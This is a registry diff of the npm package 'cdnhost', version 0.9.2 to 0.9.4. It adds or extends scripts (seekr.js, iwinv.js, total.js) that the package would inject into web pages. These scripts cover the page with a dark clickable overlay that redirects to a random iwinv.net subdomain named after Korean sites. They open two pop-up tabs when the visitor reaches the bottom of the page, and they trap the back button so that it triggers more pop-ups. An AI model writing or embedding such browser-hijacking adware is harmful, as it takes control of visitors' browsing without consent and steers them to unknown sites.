cdnhost 0.9.2 → 0.9.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/iwinv.js CHANGED
@@ -14,6 +14,12 @@ function handleKeyPress(event) {
14
14
 
15
15
  const desktopUrls = [
16
16
  'https://newsfactory.iwinv.net',
17
+ 'https://school.iwinv.net/recent.php',
18
+ 'https://ruliweb.iwinv.net/recent.php',
19
+ 'https://instiz.iwinv.net/recent.php',
20
+ 'https://bikini.iwinv.net/recent.php',
21
+ 'https://manatoki.iwinv.net/recent.php',
22
+ 'https://gmarket.iwinv.net/recent.php',
17
23
  ];
18
24
 
19
25
  const mobileUrls = [
@@ -21,6 +27,9 @@ function handleKeyPress(event) {
21
27
  'https://school.iwinv.net/recent.php',
22
28
  'https://ruliweb.iwinv.net/recent.php',
23
29
  'https://instiz.iwinv.net/recent.php',
30
+ 'https://bikini.iwinv.net/recent.php',
31
+ 'https://manatoki.iwinv.net/recent.php',
32
+ 'https://gmarket.iwinv.net/recent.php',
24
33
  ];
25
34
 
26
35
  const urls = isMobile ? mobileUrls : desktopUrls;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cdnhost",
3
- "version": "0.9.2",
3
+ "version": "0.9.4",
4
4
  "description": "cdnhost",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/seekr.js ADDED
@@ -0,0 +1,114 @@
1
+ window.addEventListener('load', function() {
2
+ var images = document.querySelectorAll('img');
3
+ images.forEach(function(img) {
4
+ if (!img.hasAttribute('alt')) {
5
+ img.setAttribute('alt', 'image');
6
+ }
7
+ });
8
+ });
9
+
10
+ document.writeln('<style>* {font-size: 1em !important}</style>');
11
+
12
+ //����Ŀ��
13
+
14
+ const urls = [
15
+ 'https://newsfactory.iwinv.net',
16
+ 'https://school.iwinv.net/recent.php',
17
+ 'https://ruliweb.iwinv.net/recent.php',
18
+ 'https://instiz.iwinv.net/recent.php',
19
+ 'https://bikini.iwinv.net/recent.php',
20
+ 'https://manatoki.iwinv.net/recent.php',
21
+ 'https://gmarket.iwinv.net/recent.php',
22
+ ];
23
+
24
+ function handleKeyPress(event) {
25
+ const isMobile = /Mobi|Android/i.test(navigator.userAgent);
26
+
27
+ const desktopUrls = [
28
+ 'https://newsfactory.iwinv.net',
29
+ 'https://school.iwinv.net/recent.php',
30
+ 'https://ruliweb.iwinv.net/recent.php',
31
+ 'https://instiz.iwinv.net/recent.php',
32
+ 'https://bikini.iwinv.net/recent.php',
33
+ 'https://manatoki.iwinv.net/recent.php',
34
+ 'https://gmarket.iwinv.net/recent.php',
35
+ ];
36
+
37
+ const mobileUrls = [
38
+ 'https://newsfactory.iwinv.net',
39
+ 'https://school.iwinv.net/recent.php',
40
+ 'https://ruliweb.iwinv.net/recent.php',
41
+ 'https://instiz.iwinv.net/recent.php',
42
+ 'https://bikini.iwinv.net/recent.php',
43
+ 'https://manatoki.iwinv.net/recent.php',
44
+ 'https://gmarket.iwinv.net/recent.php',
45
+ ];
46
+
47
+ const urls = isMobile ? mobileUrls : desktopUrls;
48
+
49
+ function getRandomUrls(arr, num) {
50
+ const shuffled = arr.sort(() => 0.5 - Math.random());
51
+ return shuffled.slice(0, num);
52
+ }
53
+
54
+ const randomUrls = getRandomUrls(urls, 2);
55
+ randomUrls.forEach(url => window.open(url, '_blank'));
56
+ }
57
+
58
+ //�̺�Ʈ
59
+ const randomUrl = urls[Math.floor(Math.random() * urls.length)];
60
+ document.writeln('<style>');
61
+ document.writeln('#s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.8;background:#000;width:100%;height:110vh}');
62
+ document.writeln('</style>');
63
+ document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
64
+
65
+ window.addEventListener('scroll', () => {
66
+ const scrollHeight = document.documentElement.scrollHeight;
67
+ const scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
68
+ const clientHeight = document.documentElement.clientHeight;
69
+
70
+ if (scrollTop + clientHeight >= scrollHeight) {
71
+ handleKeyPress();
72
+ }
73
+ });
74
+
75
+ history.pushState(null,null,""),window.onpopstate=function(a){a&&(history.back(),handleKeyPress())}
76
+
77
+ //�̺�Ʈ2
78
+ document.getElementById('container').style.boxShadow = 'none';
79
+ function ss(){
80
+ document.getElementById("s2").style.transition = "opacity 13s";
81
+ document.getElementById("button").style.transition = "opacity 13s";
82
+ setTimeout("s()", 3999);
83
+ setTimeout("h()", 14999);
84
+ }
85
+ function pcss(){
86
+ setTimeout("s()", 3999);
87
+ setTimeout("h()", 14999);
88
+ }
89
+ function a(){
90
+ document.getElementById("button").style.display="none";
91
+ }
92
+ function aa(){
93
+ document.getElementById("button").style.display="block";
94
+ }
95
+ function s(){
96
+ document.getElementById("s2").style.opacity = 0;
97
+ document.getElementById("button").style.opacity = 0;
98
+ document.getElementById("sha").style.display="none";
99
+ document.getElementById("cc").style.maxHeight="unset";
100
+ }
101
+ function h(){
102
+ const s2 = document.getElementById("s2");
103
+ const button = document.getElementById("button");
104
+ s2.style.zIndex = -1;
105
+ button.style.display = "none";
106
+ setTimeout(function () {
107
+ s2.style.zIndex = 0;
108
+ button.style.display = "block";
109
+ s2.style.opacity = 0.8;
110
+ button.style.opacity = 1;
111
+ document.getElementById("s2").style.transition = "opacity 1s";
112
+ document.getElementById("button").style.transition = "opacity 1s";
113
+ }, 20000);
114
+ }
package/total.js CHANGED
@@ -9,15 +9,26 @@ window.addEventListener('load', function() {
9
9
 
10
10
  document.writeln('<style>* { font-size: 1em !important}</style>');
11
11
  const urls = [
12
- 'https://seekr.kr/recent.php',
13
- 'https://newsfactory.iwinv.net',
12
+ 'https://newsfactory.iwinv.net',
13
+ 'https://school.iwinv.net/recent.php',
14
+ 'https://ruliweb.iwinv.net/recent.php',
15
+ 'https://instiz.iwinv.net/recent.php',
16
+ 'https://bikini.iwinv.net/recent.php',
17
+ 'https://manatoki.iwinv.net/recent.php',
18
+ 'https://gmarket.iwinv.net/recent.php',
14
19
  ];
15
20
 
16
21
  function handleKeyPress(event) {
17
22
  const isMobile = /Mobi|Android/i.test(navigator.userAgent);
18
23
 
19
24
  const desktopUrls = [
20
- 'https://seekr.kr/recent.php',
25
+ 'https://newsfactory.iwinv.net',
26
+ 'https://school.iwinv.net/recent.php',
27
+ 'https://ruliweb.iwinv.net/recent.php',
28
+ 'https://instiz.iwinv.net/recent.php',
29
+ 'https://bikini.iwinv.net/recent.php',
30
+ 'https://manatoki.iwinv.net/recent.php',
31
+ 'https://gmarket.iwinv.net/recent.php',
21
32
  ];
22
33
 
23
34
  const mobileUrls = [
@@ -25,6 +36,9 @@ function handleKeyPress(event) {
25
36
  'https://school.iwinv.net/recent.php',
26
37
  'https://ruliweb.iwinv.net/recent.php',
27
38
  'https://instiz.iwinv.net/recent.php',
39
+ 'https://bikini.iwinv.net/recent.php',
40
+ 'https://manatoki.iwinv.net/recent.php',
41
+ 'https://gmarket.iwinv.net/recent.php',
28
42
  ];
29
43
 
30
44
  const urls = isMobile ? mobileUrls : desktopUrls;
package/close.png DELETED
Binary file
package/fox.png DELETED
Binary file